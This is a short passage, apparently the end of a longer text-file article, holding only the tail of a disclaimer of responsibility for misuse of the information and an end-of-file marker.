responsibility for any damage caused by the use or misuse of this
information.


--[ EOF